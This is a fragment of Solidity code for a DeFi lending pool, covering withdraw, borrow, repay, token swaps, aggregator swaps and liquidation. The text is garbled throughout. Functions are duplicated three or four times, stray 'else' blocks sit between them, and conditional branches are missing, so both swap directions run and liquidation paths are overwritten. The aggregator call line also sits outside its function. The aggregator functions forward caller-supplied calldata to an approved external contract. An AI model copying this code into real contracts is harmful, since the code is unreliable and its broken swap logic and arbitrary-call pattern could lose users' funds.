amountToWithdraw); if (amountToWithdraw == userBalance) { _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, false); emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } IXToken(xToken).burn( msg.sender, to, amountToWithdraw, reserve.liquidityIndex ); emit Withdraw(asset, msg.sender, to, amountToWithdraw); return amountToWithdraw; } function withdraw( address asset, uint256 amount, address to ) external override whenNotPaused returns (uint256) { DataTypes.ReserveData storage reserve = _reserves[asset]; address xToken = reserve.xTokenAddress; uint256 userBalance = IXToken(xToken).balanceOf(msg.sender); uint256 amountToWithdraw = amount; if (amount == type(uint256).max) { amountToWithdraw = userBalance; } ValidationLogic.validateWithdraw( asset, amountToWithdraw, userBalance, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); reserve.updateState(); reserve.updateInterestRates(asset, xToken, 0, amountToWithdraw); if (amountToWithdraw == userBalance) { _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, false); emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } IXToken(xToken).burn( msg.sender, to, amountToWithdraw, reserve.liquidityIndex ); emit Withdraw(asset, msg.sender, to, amountToWithdraw); return amountToWithdraw; } function borrow( address asset, uint256 amount, address onBehalfOf ) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; _executeBorrow( ExecuteBorrowParams( asset, msg.sender, onBehalfOf, amount, reserve.xTokenAddress, true ) ); } function swapTokensForTokens( uint256 amountIn, uint256 amountOut, address[] calldata path, bool isExactIn, bool isUni ) external override whenNotPaused { _beforeSwap(path[0], amountIn); IUniswapV2Router02 swaper = isUni ? uniswaper : sushiSwaper; IERC20(path[0]).safeApprove(address(swaper), 0); IERC20(path[0]).safeApprove(address(swaper), amountIn); uint256[] memory awards; if (isExactIn) { awards = swaper.swapExactTokensForTokens( amountIn, amountOut, path, address(this), block.timestamp ); awards = swaper.swapTokensForExactTokens( amountOut, amountIn, path, address(this), block.timestamp ); } reDeposit(path[path.length - 1], awards[awards.length - 1], msg.sender); if (amountIn > awards[0]) { reDeposit(path[0], amountIn.sub(awards[0]), msg.sender); } ValidationLogic.validateSwap( msg.sender, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ISwapMining(_addressesProvider.getSwapMiner()).swapMint( msg.sender, path[0], path[path.length - 1], awards[awards.length - 1] ); emit Swap( msg.sender, path[0], path[path.length - 1], awards[0], awards[awards.length - 1] ); } function swapTokensForTokens( uint256 amountIn, uint256 amountOut, address[] calldata path, bool isExactIn, bool isUni ) external override whenNotPaused { _beforeSwap(path[0], amountIn); IUniswapV2Router02 swaper = isUni ? uniswaper : sushiSwaper; IERC20(path[0]).safeApprove(address(swaper), 0); IERC20(path[0]).safeApprove(address(swaper), amountIn); uint256[] memory awards; if (isExactIn) { awards = swaper.swapExactTokensForTokens( amountIn, amountOut, path, address(this), block.timestamp ); awards = swaper.swapTokensForExactTokens( amountOut, amountIn, path, address(this), block.timestamp ); } reDeposit(path[path.length - 1], awards[awards.length - 1], msg.sender); if (amountIn > awards[0]) { reDeposit(path[0], amountIn.sub(awards[0]), msg.sender); } ValidationLogic.validateSwap( msg.sender, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ISwapMining(_addressesProvider.getSwapMiner()).swapMint( msg.sender, path[0], path[path.length - 1], awards[awards.length - 1] ); emit Swap( msg.sender, path[0], path[path.length - 1], awards[0], awards[awards.length - 1] ); } } else { function swapTokensForTokens( uint256 amountIn, uint256 amountOut, address[] calldata path, bool isExactIn, bool isUni ) external override whenNotPaused { _beforeSwap(path[0], amountIn); IUniswapV2Router02 swaper = isUni ? uniswaper : sushiSwaper; IERC20(path[0]).safeApprove(address(swaper), 0); IERC20(path[0]).safeApprove(address(swaper), amountIn); uint256[] memory awards; if (isExactIn) { awards = swaper.swapExactTokensForTokens( amountIn, amountOut, path, address(this), block.timestamp ); awards = swaper.swapTokensForExactTokens( amountOut, amountIn, path, address(this), block.timestamp ); } reDeposit(path[path.length - 1], awards[awards.length - 1], msg.sender); if (amountIn > awards[0]) { reDeposit(path[0], amountIn.sub(awards[0]), msg.sender); } ValidationLogic.validateSwap( msg.sender, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ISwapMining(_addressesProvider.getSwapMiner()).swapMint( msg.sender, path[0], path[path.length - 1], awards[awards.length - 1] ); emit Swap( msg.sender, path[0], path[path.length - 1], awards[0], awards[awards.length - 1] ); } function swapTokensForClosePosition( uint256 amountIn, uint256 amountOut, address[] calldata path, bool isExactIn, bool isUni ) external override whenNotPaused { _beforeClose(path[0], amountIn); IUniswapV2Router02 swaper = isUni ? uniswaper : sushiSwaper; IERC20(path[0]).safeApprove(address(swaper), 0); IERC20(path[0]).safeApprove(address(swaper), amountIn); uint256[] memory awards; if (isExactIn) { awards = swaper.swapExactTokensForTokens( amountIn, amountOut, path, address(this), block.timestamp ); awards = swaper.swapTokensForExactTokens( amountOut, amountIn, path, address(this), block.timestamp ); } reDeposit(path[path.length - 1], awards[awards.length - 1], msg.sender); if (amountIn > awards[0]) { reDeposit(path[0], amountIn.sub(awards[0]), msg.sender); } ValidationLogic.validateSwap( msg.sender, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ISwapMining(_addressesProvider.getSwapMiner()).swapMint( msg.sender, path[0], path[path.length - 1], awards[awards.length - 1] ); emit Swap( msg.sender, path[0], path[path.length - 1], awards[0], awards[awards.length - 1] ); } function swapTokensForClosePosition( uint256 amountIn, uint256 amountOut, address[] calldata path, bool isExactIn, bool isUni ) external override whenNotPaused { _beforeClose(path[0], amountIn); IUniswapV2Router02 swaper = isUni ? uniswaper : sushiSwaper; IERC20(path[0]).safeApprove(address(swaper), 0); IERC20(path[0]).safeApprove(address(swaper), amountIn); uint256[] memory awards; if (isExactIn) { awards = swaper.swapExactTokensForTokens( amountIn, amountOut, path, address(this), block.timestamp ); awards = swaper.swapTokensForExactTokens( amountOut, amountIn, path, address(this), block.timestamp ); } reDeposit(path[path.length - 1], awards[awards.length - 1], msg.sender); if (amountIn > awards[0]) { reDeposit(path[0], amountIn.sub(awards[0]), msg.sender); } ValidationLogic.validateSwap( msg.sender, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ISwapMining(_addressesProvider.getSwapMiner()).swapMint( msg.sender, path[0], path[path.length - 1], awards[awards.length - 1] ); emit Swap( msg.sender, path[0], path[path.length - 1], awards[0], awards[awards.length - 1] ); } } else { function swapTokensForClosePosition( uint256 amountIn, uint256 amountOut, address[] calldata path, bool isExactIn, bool isUni ) external override whenNotPaused { _beforeClose(path[0], amountIn); IUniswapV2Router02 swaper = isUni ? uniswaper : sushiSwaper; IERC20(path[0]).safeApprove(address(swaper), 0); IERC20(path[0]).safeApprove(address(swaper), amountIn); uint256[] memory awards; if (isExactIn) { awards = swaper.swapExactTokensForTokens( amountIn, amountOut, path, address(this), block.timestamp ); awards = swaper.swapTokensForExactTokens( amountOut, amountIn, path, address(this), block.timestamp ); } reDeposit(path[path.length - 1], awards[awards.length - 1], msg.sender); if (amountIn > awards[0]) { reDeposit(path[0], amountIn.sub(awards[0]), msg.sender); } ValidationLogic.validateSwap( msg.sender, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ISwapMining(_addressesProvider.getSwapMiner()).swapMint( msg.sender, path[0], path[path.length - 1], awards[awards.length - 1] ); emit Swap( msg.sender, path[0], path[path.length - 1], awards[0], awards[awards.length - 1] ); } function swapWithAggregation( address _reserve, uint256 amount, address _reserveTo, bytes memory codes, uint256 gas, uint8 swapType ) external { _beforeSwap(_reserve, amount); IERC20(_reserve).safeApprove(inchor, 0); IERC20(_reserve).safeApprove(inchor, amount); require(success, "swap failed"); uint256 award; if (swapType == 1) { award = abi.decode(result, (uint256)); } if (swapType == 2) { (award, ) = abi.decode(result, (uint256, uint256)); } if (swapType == 3) { (award, , ) = abi.decode(result, (uint256, uint256, uint256)); } reDeposit(_reserveTo, award, msg.sender); ValidationLogic.validateSwap( msg.sender, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ISwapMining(_addressesProvider.getSwapMiner()).swapMint( msg.sender, _reserve, _reserveTo, award ); emit Swap(msg.sender, _reserve, _reserveTo, amount, award); } (bool success, bytes memory result) = inchor.call{gas: gas}(codes); function swapWithAggregation( address _reserve, uint256 amount, address _reserveTo, bytes memory codes, uint256 gas, uint8 swapType ) external { _beforeSwap(_reserve, amount); IERC20(_reserve).safeApprove(inchor, 0); IERC20(_reserve).safeApprove(inchor, amount); require(success, "swap failed"); uint256 award; if (swapType == 1) { award = abi.decode(result, (uint256)); } if (swapType == 2) { (award, ) = abi.decode(result, (uint256, uint256)); } if (swapType == 3) { (award, , ) = abi.decode(result, (uint256, uint256, uint256)); } reDeposit(_reserveTo, award, msg.sender); ValidationLogic.validateSwap( msg.sender, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ISwapMining(_addressesProvider.getSwapMiner()).swapMint( msg.sender, _reserve, _reserveTo, award ); emit Swap(msg.sender, _reserve, _reserveTo, amount, award); } function swapWithAggregation( address _reserve, uint256 amount, address _reserveTo, bytes memory codes, uint256 gas, uint8 swapType ) external { _beforeSwap(_reserve, amount); IERC20(_reserve).safeApprove(inchor, 0); IERC20(_reserve).safeApprove(inchor, amount); require(success, "swap failed"); uint256 award; if (swapType == 1) { award = abi.decode(result, (uint256)); } if (swapType == 2) { (award, ) = abi.decode(result, (uint256, uint256)); } if (swapType == 3) { (award, , ) = abi.decode(result, (uint256, uint256, uint256)); } reDeposit(_reserveTo, award, msg.sender); ValidationLogic.validateSwap( msg.sender, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ISwapMining(_addressesProvider.getSwapMiner()).swapMint( msg.sender, _reserve, _reserveTo, award ); emit Swap(msg.sender, _reserve, _reserveTo, amount, award); } function swapWithAggregation( address _reserve, uint256 amount, address _reserveTo, bytes memory codes, uint256 gas, uint8 swapType ) external { _beforeSwap(_reserve, amount); IERC20(_reserve).safeApprove(inchor, 0); IERC20(_reserve).safeApprove(inchor, amount); require(success, "swap failed"); uint256 award; if (swapType == 1) { award = abi.decode(result, (uint256)); } if (swapType == 2) { (award, ) = abi.decode(result, (uint256, uint256)); } if (swapType == 3) { (award, , ) = abi.decode(result, (uint256, uint256, uint256)); } reDeposit(_reserveTo, award, msg.sender); ValidationLogic.validateSwap( msg.sender, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ISwapMining(_addressesProvider.getSwapMiner()).swapMint( msg.sender, _reserve, _reserveTo, award ); emit Swap(msg.sender, _reserve, _reserveTo, amount, award); } function closeWithAggregation( address _reserve, uint256 amountIn, address _reserveTo, bytes memory codes, uint256 gas, uint8 swapType ) external { _beforeClose(_reserve, amountIn); IERC20(_reserve).safeApprove(inchor, 0); IERC20(_reserve).safeApprove(inchor, amountIn); require(success, "swap failed"); uint256 award; if (swapType == 1) { award = abi.decode(result, (uint256)); } if (swapType == 2) { (award, ) = abi.decode(result, (uint256, uint256)); } if (swapType == 3) { (award, , ) = abi.decode(result, (uint256, uint256, uint256)); } reDeposit(_reserveTo, award, msg.sender); ValidationLogic.validateSwap( msg.sender, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ISwapMining(_addressesProvider.getSwapMiner()).swapMint( msg.sender, _reserve, _reserveTo, award ); emit Swap(msg.sender, _reserve, _reserveTo, amountIn, award); } (bool success, bytes memory result) = inchor.call{gas: gas}(codes); function closeWithAggregation( address _reserve, uint256 amountIn, address _reserveTo, bytes memory codes, uint256 gas, uint8 swapType ) external { _beforeClose(_reserve, amountIn); IERC20(_reserve).safeApprove(inchor, 0); IERC20(_reserve).safeApprove(inchor, amountIn); require(success, "swap failed"); uint256 award; if (swapType == 1) { award = abi.decode(result, (uint256)); } if (swapType == 2) { (award, ) = abi.decode(result, (uint256, uint256)); } if (swapType == 3) { (award, , ) = abi.decode(result, (uint256, uint256, uint256)); } reDeposit(_reserveTo, award, msg.sender); ValidationLogic.validateSwap( msg.sender, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ISwapMining(_addressesProvider.getSwapMiner()).swapMint( msg.sender, _reserve, _reserveTo, award ); emit Swap(msg.sender, _reserve, _reserveTo, amountIn, award); } function closeWithAggregation( address _reserve, uint256 amountIn, address _reserveTo, bytes memory codes, uint256 gas, uint8 swapType ) external { _beforeClose(_reserve, amountIn); IERC20(_reserve).safeApprove(inchor, 0); IERC20(_reserve).safeApprove(inchor, amountIn); require(success, "swap failed"); uint256 award; if (swapType == 1) { award = abi.decode(result, (uint256)); } if (swapType == 2) { (award, ) = abi.decode(result, (uint256, uint256)); } if (swapType == 3) { (award, , ) = abi.decode(result, (uint256, uint256, uint256)); } reDeposit(_reserveTo, award, msg.sender); ValidationLogic.validateSwap( msg.sender, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ISwapMining(_addressesProvider.getSwapMiner()).swapMint( msg.sender, _reserve, _reserveTo, award ); emit Swap(msg.sender, _reserve, _reserveTo, amountIn, award); } function closeWithAggregation( address _reserve, uint256 amountIn, address _reserveTo, bytes memory codes, uint256 gas, uint8 swapType ) external { _beforeClose(_reserve, amountIn); IERC20(_reserve).safeApprove(inchor, 0); IERC20(_reserve).safeApprove(inchor, amountIn); require(success, "swap failed"); uint256 award; if (swapType == 1) { award = abi.decode(result, (uint256)); } if (swapType == 2) { (award, ) = abi.decode(result, (uint256, uint256)); } if (swapType == 3) { (award, , ) = abi.decode(result, (uint256, uint256, uint256)); } reDeposit(_reserveTo, award, msg.sender); ValidationLogic.validateSwap( msg.sender, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ISwapMining(_addressesProvider.getSwapMiner()).swapMint( msg.sender, _reserve, _reserveTo, award ); emit Swap(msg.sender, _reserve, _reserveTo, amountIn, award); } function _beforeClose(address _reserve, uint256 amountIn) private { DataTypes.ReserveData storage reserve = _reserves[_reserve]; ValidationLogic.validateDeposit(reserve, amountIn); reserve.updateState(); uint256 userBalance = IXToken(reserve.xTokenAddress).balanceOf(msg.sender); reserve.updateInterestRates( _reserve, reserve.xTokenAddress, 0, amountIn ); IXToken(reserve.xTokenAddress).burn( msg.sender, address(this), amountIn, reserve.liquidityIndex ); if (amountIn == userBalance) { _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, false); emit ReserveUsedAsCollateralDisabled(_reserve, msg.sender); } } function _beforeClose(address _reserve, uint256 amountIn) private { DataTypes.ReserveData storage reserve = _reserves[_reserve]; ValidationLogic.validateDeposit(reserve, amountIn); reserve.updateState(); uint256 userBalance = IXToken(reserve.xTokenAddress).balanceOf(msg.sender); reserve.updateInterestRates( _reserve, reserve.xTokenAddress, 0, amountIn ); IXToken(reserve.xTokenAddress).burn( msg.sender, address(this), amountIn, reserve.liquidityIndex ); if (amountIn == userBalance) { _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, false); emit ReserveUsedAsCollateralDisabled(_reserve, msg.sender); } } function _beforeSwap(address _reserve, uint256 amountIn) private { DataTypes.ReserveData storage reserve = _reserves[_reserve]; ValidationLogic.validateDeposit(reserve, amountIn); DataTypes.UserConfigurationMap storage userConfig = _usersConfig[msg.sender]; reserve.updateState(); bool isFirstBorrowing = false; isFirstBorrowing = IVariableDebtToken(reserve.variableDebtTokenAddress) .mint( msg.sender, msg.sender, amountIn, reserve.variableBorrowIndex ); emit Borrow( _reserve, msg.sender, msg.sender, amountIn, reserve.currentVariableBorrowRate ); if (isFirstBorrowing) { userConfig.setBorrowing(reserve.id, true); } reserve.updateInterestRates( _reserve, reserve.xTokenAddress, 0, amountIn ); IXToken(reserve.xTokenAddress).transferUnderlyingTo( address(this), amountIn ); } function _beforeSwap(address _reserve, uint256 amountIn) private { DataTypes.ReserveData storage reserve = _reserves[_reserve]; ValidationLogic.validateDeposit(reserve, amountIn); DataTypes.UserConfigurationMap storage userConfig = _usersConfig[msg.sender]; reserve.updateState(); bool isFirstBorrowing = false; isFirstBorrowing = IVariableDebtToken(reserve.variableDebtTokenAddress) .mint( msg.sender, msg.sender, amountIn, reserve.variableBorrowIndex ); emit Borrow( _reserve, msg.sender, msg.sender, amountIn, reserve.currentVariableBorrowRate ); if (isFirstBorrowing) { userConfig.setBorrowing(reserve.id, true); } reserve.updateInterestRates( _reserve, reserve.xTokenAddress, 0, amountIn ); IXToken(reserve.xTokenAddress).transferUnderlyingTo( address(this), amountIn ); } function repay( address asset, uint256 amount, address onBehalfOf ) external override whenNotPaused returns (uint256) { DataTypes.ReserveData storage reserve = _reserves[asset]; uint256 variableDebt = Helpers.getUserCurrentDebt(onBehalfOf, reserve); address xToken = reserve.xTokenAddress; uint256 userBalance = IERC20(xToken).balanceOf(msg.sender); ValidationLogic.validateRepay( reserve, amount, onBehalfOf, variableDebt, userBalance ); uint256 paybackAmount = variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } reserve.updateState(); IVariableDebtToken(reserve.variableDebtTokenAddress).burn( onBehalfOf, paybackAmount, reserve.variableBorrowIndex ); reserve.updateInterestRates(asset, xToken, 0, 0); if (variableDebt.sub(paybackAmount) == 0) { _usersConfig[onBehalfOf].setBorrowing(reserve.id, false); } if (paybackAmount == userBalance) { _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, false); emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } IXToken(xToken).burn( msg.sender, xToken, paybackAmount, reserve.liquidityIndex ); emit Repay(asset, onBehalfOf, msg.sender, paybackAmount); return paybackAmount; } function repay( address asset, uint256 amount, address onBehalfOf ) external override whenNotPaused returns (uint256) { DataTypes.ReserveData storage reserve = _reserves[asset]; uint256 variableDebt = Helpers.getUserCurrentDebt(onBehalfOf, reserve); address xToken = reserve.xTokenAddress; uint256 userBalance = IERC20(xToken).balanceOf(msg.sender); ValidationLogic.validateRepay( reserve, amount, onBehalfOf, variableDebt, userBalance ); uint256 paybackAmount = variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } reserve.updateState(); IVariableDebtToken(reserve.variableDebtTokenAddress).burn( onBehalfOf, paybackAmount, reserve.variableBorrowIndex ); reserve.updateInterestRates(asset, xToken, 0, 0); if (variableDebt.sub(paybackAmount) == 0) { _usersConfig[onBehalfOf].setBorrowing(reserve.id, false); } if (paybackAmount == userBalance) { _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, false); emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } IXToken(xToken).burn( msg.sender, xToken, paybackAmount, reserve.liquidityIndex ); emit Repay(asset, onBehalfOf, msg.sender, paybackAmount); return paybackAmount; } function repay( address asset, uint256 amount, address onBehalfOf ) external override whenNotPaused returns (uint256) { DataTypes.ReserveData storage reserve = _reserves[asset]; uint256 variableDebt = Helpers.getUserCurrentDebt(onBehalfOf, reserve); address xToken = reserve.xTokenAddress; uint256 userBalance = IERC20(xToken).balanceOf(msg.sender); ValidationLogic.validateRepay( reserve, amount, onBehalfOf, variableDebt, userBalance ); uint256 paybackAmount = variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } reserve.updateState(); IVariableDebtToken(reserve.variableDebtTokenAddress).burn( onBehalfOf, paybackAmount, reserve.variableBorrowIndex ); reserve.updateInterestRates(asset, xToken, 0, 0); if (variableDebt.sub(paybackAmount) == 0) { _usersConfig[onBehalfOf].setBorrowing(reserve.id, false); } if (paybackAmount == userBalance) { _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, false); emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } IXToken(xToken).burn( msg.sender, xToken, paybackAmount, reserve.liquidityIndex ); emit Repay(asset, onBehalfOf, msg.sender, paybackAmount); return paybackAmount; } function repay( address asset, uint256 amount, address onBehalfOf ) external override whenNotPaused returns (uint256) { DataTypes.ReserveData storage reserve = _reserves[asset]; uint256 variableDebt = Helpers.getUserCurrentDebt(onBehalfOf, reserve); address xToken = reserve.xTokenAddress; uint256 userBalance = IERC20(xToken).balanceOf(msg.sender); ValidationLogic.validateRepay( reserve, amount, onBehalfOf, variableDebt, userBalance ); uint256 paybackAmount = variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } reserve.updateState(); IVariableDebtToken(reserve.variableDebtTokenAddress).burn( onBehalfOf, paybackAmount, reserve.variableBorrowIndex ); reserve.updateInterestRates(asset, xToken, 0, 0); if (variableDebt.sub(paybackAmount) == 0) { _usersConfig[onBehalfOf].setBorrowing(reserve.id, false); } if (paybackAmount == userBalance) { _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, false); emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } IXToken(xToken).burn( msg.sender, xToken, paybackAmount, reserve.liquidityIndex ); emit Repay(asset, onBehalfOf, msg.sender, paybackAmount); return paybackAmount; } function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; ValidationLogic.validateSetUseReserveAsCollateral( reserve, asset, useAsCollateral, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); _usersConfig[msg.sender].setUsingAsCollateral( reserve.id, useAsCollateral ); if (useAsCollateral) { emit ReserveUsedAsCollateralEnabled(asset, msg.sender); emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } } function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external override whenNotPaused { DataTypes.ReserveData storage reserve = _reserves[asset]; ValidationLogic.validateSetUseReserveAsCollateral( reserve, asset, useAsCollateral, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); _usersConfig[msg.sender].setUsingAsCollateral( reserve.id, useAsCollateral ); if (useAsCollateral) { emit ReserveUsedAsCollateralEnabled(asset, msg.sender); emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } } } else { struct LiquidationCallLocalVars { uint256 variableDebt; uint256 userBalance; uint256 healthFactor; uint256 maxCollateralToLiquidate; uint256 collateralToSell; uint256 liquidatorPreviousXTokenBalance; } function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover ) external override whenNotPaused { LiquidationCallLocalVars memory vars; DataTypes.ReserveData storage collateralReserve = _reserves[collateralAsset]; DataTypes.ReserveData storage debtReserve = _reserves[debtAsset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[user]; vars.variableDebt = Helpers.getUserCurrentDebt(user, debtReserve).div( 2 ); (, , , , vars.healthFactor) = GenericLogic.calculateUserAccountData( user, _reserves, _usersConfig[user], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ValidationLogic.validateLiquidation( collateralReserve, debtReserve, userConfig, vars.healthFactor, vars.variableDebt ); vars.variableDebt = vars.variableDebt > debtToCover ? debtToCover : vars.variableDebt; vars.userBalance = IERC20(collateralReserve.xTokenAddress).balanceOf( user ); (vars.maxCollateralToLiquidate, vars.collateralToSell) = GenericLogic .calculateAvailableCollateralToLiquidate( collateralReserve, debtReserve, collateralAsset, debtAsset, vars.variableDebt, vars.userBalance, _addressesProvider.getPriceOracle() ); collateralReserve.updateState(); vars.liquidatorPreviousXTokenBalance = IERC20( collateralReserve .xTokenAddress ) .balanceOf(msg.sender); IXToken(collateralReserve.xTokenAddress).transferOnLiquidation( user, msg.sender, (vars.maxCollateralToLiquidate.sub(vars.collateralToSell)) ); if (vars.liquidatorPreviousXTokenBalance == 0) { DataTypes.UserConfigurationMap storage liquidatorConfig = _usersConfig[msg.sender]; liquidatorConfig.setUsingAsCollateral(collateralReserve.id, true); emit ReserveUsedAsCollateralEnabled(collateralAsset, msg.sender); } if (vars.maxCollateralToLiquidate == vars.userBalance) { userConfig.setUsingAsCollateral(collateralReserve.id, false); emit ReserveUsedAsCollateralDisabled(collateralAsset, user); } if(collateralAsset == debtAsset) { IVariableDebtToken(collateralReserve.variableDebtTokenAddress).burn( user, vars.collateralToSell, collateralReserve.variableBorrowIndex ); collateralReserve.updateInterestRates(collateralAsset, collateralReserve.xTokenAddress, 0, 0); IXToken(collateralReserve.xTokenAddress).burn( user, collateralReserve.xTokenAddress, vars.collateralToSell, collateralReserve.liquidityIndex ); emit LiquidationCall( collateralAsset, debtAsset, user, vars.collateralToSell, vars.collateralToSell, msg.sender ); return; } collateralReserve.updateInterestRates( collateralAsset, collateralReserve.xTokenAddress, 0, vars.collateralToSell ); IXToken(collateralReserve.xTokenAddress).burn( user, address(this), vars.collateralToSell, collateralReserve.liquidityIndex ); IERC20(collateralAsset).safeApprove(address(uniswaper), 0); IERC20(collateralAsset).safeApprove( address(uniswaper), vars.collateralToSell ); address[] memory path; if (collateralAsset != wethAddress && debtAsset != wethAddress) { path = new address[](3); path[0] = collateralAsset; path[1] = wethAddress; path[2] = debtAsset; path = new address[](2); path[0] = collateralAsset; path[1] = debtAsset; } uint256[] memory awards = uniswaper.swapExactTokensForTokens( vars.collateralToSell, vars.variableDebt.mul(97).div(100), path, address(this), block.timestamp ); reDeposit(debtAsset, awards[awards.length - 1], user); emit LiquidationCall( collateralAsset, debtAsset, user, awards[awards.length - 1], vars.collateralToSell, msg.sender ); } function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover ) external override whenNotPaused { LiquidationCallLocalVars memory vars; DataTypes.ReserveData storage collateralReserve = _reserves[collateralAsset]; DataTypes.ReserveData storage debtReserve = _reserves[debtAsset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[user]; vars.variableDebt = Helpers.getUserCurrentDebt(user, debtReserve).div( 2 ); (, , , , vars.healthFactor) = GenericLogic.calculateUserAccountData( user, _reserves, _usersConfig[user], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ValidationLogic.validateLiquidation( collateralReserve, debtReserve, userConfig, vars.healthFactor, vars.variableDebt ); vars.variableDebt = vars.variableDebt > debtToCover ? debtToCover : vars.variableDebt; vars.userBalance = IERC20(collateralReserve.xTokenAddress).balanceOf( user ); (vars.maxCollateralToLiquidate, vars.collateralToSell) = GenericLogic .calculateAvailableCollateralToLiquidate( collateralReserve, debtReserve, collateralAsset, debtAsset, vars.variableDebt, vars.userBalance, _addressesProvider.getPriceOracle() ); collateralReserve.updateState(); vars.liquidatorPreviousXTokenBalance = IERC20( collateralReserve .xTokenAddress ) .balanceOf(msg.sender); IXToken(collateralReserve.xTokenAddress).transferOnLiquidation( user, msg.sender, (vars.maxCollateralToLiquidate.sub(vars.collateralToSell)) ); if (vars.liquidatorPreviousXTokenBalance == 0) { DataTypes.UserConfigurationMap storage liquidatorConfig = _usersConfig[msg.sender]; liquidatorConfig.setUsingAsCollateral(collateralReserve.id, true); emit ReserveUsedAsCollateralEnabled(collateralAsset, msg.sender); } if (vars.maxCollateralToLiquidate == vars.userBalance) { userConfig.setUsingAsCollateral(collateralReserve.id, false); emit ReserveUsedAsCollateralDisabled(collateralAsset, user); } if(collateralAsset == debtAsset) { IVariableDebtToken(collateralReserve.variableDebtTokenAddress).burn( user, vars.collateralToSell, collateralReserve.variableBorrowIndex ); collateralReserve.updateInterestRates(collateralAsset, collateralReserve.xTokenAddress, 0, 0); IXToken(collateralReserve.xTokenAddress).burn( user, collateralReserve.xTokenAddress, vars.collateralToSell, collateralReserve.liquidityIndex ); emit LiquidationCall( collateralAsset, debtAsset, user, vars.collateralToSell, vars.collateralToSell, msg.sender ); return; } collateralReserve.updateInterestRates( collateralAsset, collateralReserve.xTokenAddress, 0, vars.collateralToSell ); IXToken(collateralReserve.xTokenAddress).burn( user, address(this), vars.collateralToSell, collateralReserve.liquidityIndex ); IERC20(collateralAsset).safeApprove(address(uniswaper), 0); IERC20(collateralAsset).safeApprove( address(uniswaper), vars.collateralToSell ); address[] memory path; if (collateralAsset != wethAddress && debtAsset != wethAddress) { path = new address[](3); path[0] = collateralAsset; path[1] = wethAddress; path[2] = debtAsset; path = new address[](2); path[0] = collateralAsset; path[1] = debtAsset; } uint256[] memory awards = uniswaper.swapExactTokensForTokens( vars.collateralToSell, vars.variableDebt.mul(97).div(100), path, address(this), block.timestamp ); reDeposit(debtAsset, awards[awards.length - 1], user); emit LiquidationCall( collateralAsset, debtAsset, user, awards[awards.length - 1], vars.collateralToSell, msg.sender ); } function liquidationCall( address collateralAsset, address debtAsset, address user, uint256 debtToCover ) external override whenNotPaused { LiquidationCallLocalVars memory vars; DataTypes.ReserveData storage collateralReserve = _reserves[collateralAsset]; DataTypes.ReserveData storage debtReserve = _reserves[debtAsset]; DataTypes.UserConfigurationMap storage userConfig = _usersConfig[user]; vars.variableDebt = Helpers.getUserCurrentDebt(user, debtReserve).div( 2 ); (, , , , vars.healthFactor) = GenericLogic.calculateUserAccountData( user, _reserves, _usersConfig[user], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); ValidationLogic.validateLiquidation( collateralReserve, debtReserve, userConfig, vars.healthFactor, vars.variableDebt ); vars.variableDebt = vars.variableDebt > debtToCover ? debtToCover : vars.variableDebt; vars.userBalance = IERC20(collateralReserve.xTokenAddress).balanceOf( user ); (vars.maxCollateralToLiquidate, vars.collateralToSell) = GenericLogic .calculateAvailableCollateralToLiquidate( collateralReserve, debtReserve, collateralAsset, debtAsset, vars.variableDebt, vars.userBalance, _addressesProvider.getPriceOracle() ); collateralReserve.updateState(); vars.liquidatorPreviousXTokenBalance = IERC20( collateralReserve .xTokenAddress ) .balanceOf(msg.sender); 